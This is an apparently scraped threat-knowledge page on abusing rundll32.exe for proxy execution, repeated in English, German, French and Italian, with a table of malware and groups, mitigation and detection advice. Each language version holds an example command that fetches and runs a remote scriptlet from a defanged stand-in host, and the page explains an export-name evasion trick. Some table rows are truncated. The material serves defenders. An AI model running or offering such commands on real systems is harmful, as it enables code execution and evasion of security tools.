Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads (ex: rundll32.exe {{DLLname, DLLfunction}}
).
Rundll32.exe can also be used to execute Control Panel Item files (.cpl) through the undocumented shell32.dll functions Control_RunDLL
and Control_RunDLLAsUser
. Double-clicking a .cpl file also causes rundll32.exe to execute. [1]
Rundll32 can also be used to execute scripts such as JavaScript. This can be done using a syntax similar to this: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"
This behavior has been seen used by malware such as Poweliks. [2]
Adversaries may also attempt to obscure malicious code from analysis by abusing the manner in which rundll32.exe loads DLL function names. As part of Windows compatibility support for various character sets, rundll32.exe will first check for wide/Unicode then ANSI character-supported functions before loading the specified function (e.g., given the command rundll32.exe ExampleDLL.dll, ExampleFunction
, rundll32.exe would first attempt to execute ExampleFunctionW
, or failing that ExampleFunctionA
, before loading ExampleFunction
). Adversaries may therefore obscure malicious code by creating multiple identical exported function names and appending W
and/or A
to harmless ones.[3][4]
Angreifer können rundll32.exe missbrauchen, um die Ausführung von bösartigem Code zu verschleiern. Durch die Verwendung von rundll32.exe als Stellvertreter für die direkte Ausführung (d.h. Shared Modules) kann vermieden werden, dass Sicherheitstools ausgelöst werden, die die Ausführung des rundll32.exe-Prozesses aufgrund von Zulässigkeitslisten oder Fehlalarmen aus dem normalen Betrieb nicht überwachen. Rundll32.exe wird häufig mit der Ausführung von DLL-Nutzdaten in Verbindung gebracht (z.B.: rundll32.exe {{DLLname, DLLfunktion}}
).
Rundll32.exe kann auch zum Ausführen von Systemsteuerung Item-Dateien (.cpl) über die undokumentierten shell32.dll Funktionen Control_RunDLL
und Control_RunDLLAsUser
verwendet werden. Ein Doppelklick auf eine .cpl-Datei führt ebenfalls zur Ausführung von rundll32.exe. (Zitat: Trend Micro CPL)
Rundll32 kann auch verwendet werden, um Skripte wie JavaScript auszuführen. Dies kann mit einer ähnlichen Syntax wie der folgenden geschehen: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"
Dieses Verhalten wurde bereits von Malware wie Poweliks verwendet. (Zitat: Dies ist eine Sicherheits-Befehlszeilenverwirrung)
Angreifer können auch versuchen, bösartigen Code vor der Analyse zu verbergen, indem sie die Art und Weise missbrauchen, in der rundll32.exe DLL-Funktionsnamen lädt. Im Rahmen der Windows-Kompatibilitätsunterstützung für verschiedene Zeichensätze prüft rundll32.exe zunächst, ob Wide/Unicode- und dann ANSI-Zeichen unterstützt werden, bevor die angegebene Funktion geladen wird (z.B. würde rundll32.exe bei dem Befehl rundll32.exe ExampleDLL.dll, ExampleFunction
zunächst versuchen, ExampleFunctionW
oder andernfalls ExampleFunctionA
auszuführen, bevor es ExampleFunction
lädt). Angreifer können daher bösartigen Code verschleiern, indem sie mehrere identische exportierte Funktionsnamen erstellen und W
und/oder A
an harmlose Funktionen anhängen.(Zitat: Attackify Rundll32.exe Obscurity)(Zitat: Github NoRunDll)
Les adversaires peuvent abuser de rundll32.exe pour proxyer l'exécution de code malveillant. L'utilisation de rundll32.exe, au lieu d'une exécution directe (c.-à-d. Shared Modules), peut éviter de déclencher les outils de sécurité qui peuvent ne pas surveiller l'exécution du processus rundll32.exe en raison de listes d'autorisations ou de faux positifs provenant d'opérations normales. Rundll32.exe est généralement associé à l'exécution de charges utiles DLL (ex : rundll32.exe {{nom de la DLL, fonction de la DLL}}
).
Rundll32.exe peut également être utilisé pour exécuter des fichiers d'éléments (.cpl) du Panneau de configuration par le biais des fonctions non documentées shell32.dll Control_RunDLL
et Control_RunDLLAsUser
. Un double-clic sur un fichier .cpl entraîne également l'exécution de rundll32.exe. (Citation : Trend Micro CPL)
Rundll32 peut également être utilisé pour exécuter des scripts tels que JavaScript. Ceci peut être fait en utilisant une syntaxe similaire à celle-ci : rundll32.exe javascript :"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[ :]//www[.]example[.]com/malicious.sct")"
Ce comportement a été vu utilisé par des programmes malveillants tels que Poweliks. (Citation : C'est la confusion de la ligne de commande de la sécurité)
Les adversaires peuvent également tenter de dissimuler le code malveillant à l'analyse en abusant de la manière dont rundll32.exe charge les noms de fonctions DLL. Dans le cadre de la prise en charge de la compatibilité Windows pour divers jeux de caractères, rundll32.exe vérifiera d'abord les fonctions supportant les caractères wide/Unicode puis ANSI avant de charger la fonction spécifiée (par exemple, étant donné la commande rundll32.exe ExampleDLL.dll, ExampleFunction
, rundll32.exe tentera d'abord d'exécuter ExampleFunctionW
, ou à défaut ExampleFunctionA
, avant de charger ExampleFunction
). Les adversaires peuvent donc obscurcir le code malveillant en créant plusieurs noms de fonctions exportées identiques et en ajoutant W
et/ou A
aux noms inoffensifs.(Citation : Attackify Rundll32.exe Obscurity)(Citation : Github NoRunDll)
Gli avversari possono abusare di rundll32.exe per delegare l'esecuzione di codice maligno. Usando rundll32.exe, vice l'esecuzione diretta (cioè Shared Modules, si può evitare di innescare strumenti di sicurezza che potrebbero non monitorare l'esecuzione del processo rundll32.exe a causa di allowlists o falsi positivi da operazioni normali. Rundll32.exe è comunemente associato all'esecuzione di payload DLL (es: rundll32.exe {{DLLname, DLLfunction}}
).
Rundll32.exe può anche essere usato per eseguire file Control Panel Item (.cpl) attraverso le funzioni non documentate shell32.dll Control_RunDLL
e Control_RunDLLAsUser
. Il doppio clic su un file .cpl provoca anche l'esecuzione di rundll32.exe. (Citazione: Trend Micro CPL)
Rundll32 può anche essere usato per eseguire script come JavaScript. Ciò può essere fatto usando una sintassi simile a questa: rundll32.exe javascript:"..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https[:]//www[.]example[.]com/malicious.sct")"
Questo comportamento è stato visto usato da malware come Poweliks. (Citazione: Questo è Confusione della linea di comando di sicurezza)
Gli avversari possono anche tentare di oscurare il codice maligno dall'analisi abusando del modo in cui rundll32.exe carica i nomi delle funzioni DLL. Come parte del supporto di compatibilità di Windows per vari set di caratteri, rundll32.exe controllerà prima le funzioni supportate da caratteri wide/Unicode e poi ANSI prima di caricare la funzione specificata (ad esempio, dato il comando rundll32.exe ExampleDLL.dll, ExampleFunction
, rundll32.exe tenterà prima di eseguire ExampleFunctionW
, o in mancanza ExampleFunctionA
, prima di caricare ExampleFunction
). Gli avversari possono quindi oscurare il codice maligno creando più nomi di funzioni esportate identiche e aggiungendo W
e/o A
a quelle innocue.(Citazione: Attackify Rundll32.exe Obscurity)(Citazione: Github NoRunDll)
ID | Name | Description |
---|---|---|
S0045 | ADVSTORESHELL |
ADVSTORESHELL has used rundll32.exe in a Registry value to establish persistence.[5] |
G0073 | APT19 |
APT19 configured its payload to inject into the rundll32.exe.[6] |
G0007 | APT28 |
APT28 executed CHOPSTICK by using rundll32 commands such as |
G0016 | APT29 |
APT29 has used |
G0022 | APT3 | |
G0050 | APT32 |
APT32 malware has used rundll32.exe to execute an initial infection process.[16] |
G0082 | APT38 |
APT38 has used rundll32.exe to execute binaries, scripts, and Control Panel Item files and to execute code via proxy to avoid triggering security tools.[17] |
G0096 | APT41 | |
S0438 | Attor |
Attor's installer plugin can schedule rundll32.exe to load the dispatcher.[19] |
S0606 | Bad Rabbit |
Bad Rabbit has used rundll32 to launch a malicious DLL as |
S0268 | Bisonal |
Bisonal uses rundll32.exe to execute as part of the Registry Run key it adds: |
S0520 | BLINDINGCAN |
BLINDINGCAN has used Rundll32 to load a malicious DLL.[22] |
G0108 | Blue Mockingbird |
Blue Mockingbird has executed custom-compiled XMRIG miner DLLs using rundll32.exe.[23] |
S0635 | BoomBox | |
S0204 | Briba |
Briba uses rundll32 within Registry Run Keys / Startup Folder entries to execute malicious DLLs.[25] |
G0008 | Carbanak |
Carbanak installs VNC server software that executes through rundll32.[26] |
S0154 | Cobalt Strike |
Cobalt Strike can use rundll32.exe to load DLL from the command line.[27] |
S0244 | Comnie | |
G0052 | CopyKittens |
CopyKittens uses rundll32 to load various tools on victims, including a lateral movement tool named Vminst, Cobalt Strike, and shellcode.[29] |
S0137 | CORESHELL |
CORESHELL is installed via execution of rundll32 with an export named "init" or "InitW."[30] |
S0046 | CozyCar |
The CozyCar dropper copies the system file rundll32.exe to the install location for the malware, then uses the copy of rundll32.exe to load and execute the main CozyCar component.[31] |
S0255 | DDKONG |
DDKONG uses Rundll32 to ensure only a single instance of itself is running at once.[32] |
S0554 | Egregor | |
S0081 | Elise |
After copying itself to a DLL file, a variant of Elise calls the DLL file using rundll32.exe.[34] |
S0082 | Emissary |
Variants of Emissary have used rundll32.exe in Registry values added to establish persistence.[35] |
S0634 | EnvyScout |
EnvyScout has the ability to proxy execution of malicious files with Rundll32.[24] |
S0568 | EVILNUM |
EVILNUM can execute commands and scripts through rundll32.[36] |
S0512 | FatDuke | |
S0267 | FELIXROOT |
FELIXROOT uses Rundll32 for executing the dropper program.[38][39] |
S0143 | Flame |
Rundll32.exe is used as a way of executing Flame at the command-line.[40] |
G0047 | Gamaredon Group |
Gamaredon Group malware has used rundll32 to launch additional malicious components.[41] |
S0032 | gh0st RAT | |
S0342 | GreyEnergy |
GreyEnergy uses PsExec locally in order to execute rundll32.exe at the highest privileges (NTAUTHORITY\SYSTEM).[39] |
G0125 | HAFNIUM | |
S0260 | InvisiMole |
InvisiMole has used rundll32.exe for execution.[44] |
S0044 | JHUHUGIT | |
S0250 | Koadic | |
S0356 | KONNI |
KONNI has used Rundll32 to execute its loader for privilege escalation purposes.[48] |
S0236 | Kwampirs |
Kwampirs uses rundll32.exe in a Registry value added to establish persistence.[49] |
S0167 | Matryoshka |
Matryoshka uses rundll32.exe in a Registry Run key value for execution as part of its persistence mechanism.[50] |
S0576 | MegaCortex |
MegaCortex has used |
S0256 | Mosquito |
Mosquito's launcher uses rundll32.exe in a Registry Key value to start the main backdoor capability.[52] |
G0069 | MuddyWater |
MuddyWater has used malware that leveraged rundll32.exe in a Registry Run key to execute a .dll.[53] |
S0637 | NativeZone |
NativeZone has used rundll32 to execute a malicious DLL.[54] |
S0353 | NOKKI | |
S0368 | NotPetya |
NotPetya uses |
S0518 | PolyglotDuke |
PolyglotDuke can be executed using rundll32.exe.[37] |
S0139 | PowerDuke | |
S0113 | Prikormka | |
S0147 | Pteranodon |
Pteranodon executes functions using rundll32.exe.[59] |
S0196 | PUNCHBUGGY |
PUNCHBUGGY can load a DLL using Rundll32.[60] |
S0650 | QakBot |
QakBot can use Rundll32.exe to enable C2 communication.[61][62][63][64] |
S0481 | Ragnar Locker |
Ragnar Locker has used rundll32.exe to execute components of VirtualBox.[65] |
S0148 | RTM | |
S0074 | Sakula |
Sakula calls cmd.exe to run various DLL files via rundll32.[68] |
G0034 | Sandworm Team |
Sandworm Team used a backdoor which could execute a supplied DLL using rundll32.exe.[69] |
S0382 | ServHelper |
ServHelper contains a module for downloading and executing DLLs that leverages |
S0589 | Sibot | |
S0142 | StreamEx | |
S0559 | SUNBURST | |
G0092 | TA505 |
TA505 has leveraged |
G0127 | TA551 | |
S0452 | USBferry |
USBferry can execute rundll32.exe in memory to avoid detection.[75] |
S0141 | Winnti for Windows |
The Winnti for Windows installer loads a DLL using rundll32.[76] |
S0412 | ZxShell |
ZxShell has used rundll32.exe to execute other DLLs and named pipes.[77] |
ID | Mitigation | Description |
---|---|---|
M1050 | Exploit Protection |
Microsoft's Enhanced Mitigation Experience Toolkit (EMET) Attack Surface Reduction (ASR) feature can be used to block methods of using rundll32.exe to bypass application control. |
ID | Data Source | Data Component |
---|---|---|
DS0017 | Command | Command Execution |
DS0022 | File | File Metadata |
DS0011 | Module | Module Load |
DS0009 | Process | Process Creation |
Use process monitoring to monitor the execution and arguments of rundll32.exe. Compare recent invocations of rundll32.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.
Command arguments used with the rundll32.exe invocation may also be useful in determining the origin and purpose of the DLL being loaded. Analyzing DLL exports and comparing to runtime arguments may be useful in uncovering obfuscated function calls.
Verwenden Sie die Prozessüberwachung, um die Ausführung und die Argumente von rundll32.exe zu überwachen. Vergleichen Sie die jüngsten Aufrufe von rundll32.exe mit früheren Aufrufen bekannter guter Argumente und geladener DLLs, um anomale und potenziell schädliche Aktivitäten festzustellen.
Die mit dem Aufruf von rundll32.exe verwendeten Befehlsargumente können ebenfalls nützlich sein, um die Herkunft und den Zweck der geladenen DLL zu bestimmen. Die Analyse von DLL-Exporten und der Vergleich mit Laufzeitargumenten kann nützlich sein, um verschleierte Funktionsaufrufe aufzudecken.
Utilisez la surveillance des processus pour contrôler l'exécution et les arguments de rundll32.exe. Comparez les invocations récentes de rundll32.exe avec l'historique des bons arguments connus et des DLL chargées pour déterminer les activités anormales et potentiellement adverses.
Les arguments de commande utilisés avec l'invocation de rundll32.exe peuvent également être utiles pour déterminer l'origine et le but de la DLL chargée. L'analyse des exportations de DLL et la comparaison avec les arguments d'exécution peuvent être utiles pour découvrir des appels de fonctions obscurcis.
Utilizzi il monitoraggio dei processi per monitorare l'esecuzione e gli argomenti di rundll32.exe. Confronti le recenti invocazioni di rundll32.exe con la storia precedente di argomenti noti e DLL caricate per determinare attività anomale e potenzialmente avversarie.
Anche gli argomenti di comando usati con l'invocazione di rundll32.exe possono essere utili per determinare l'origine e lo scopo della DLL caricata. Analizzare le esportazioni di DLL e confrontarle con gli argomenti di runtime può essere utile per scoprire chiamate di funzioni offuscate.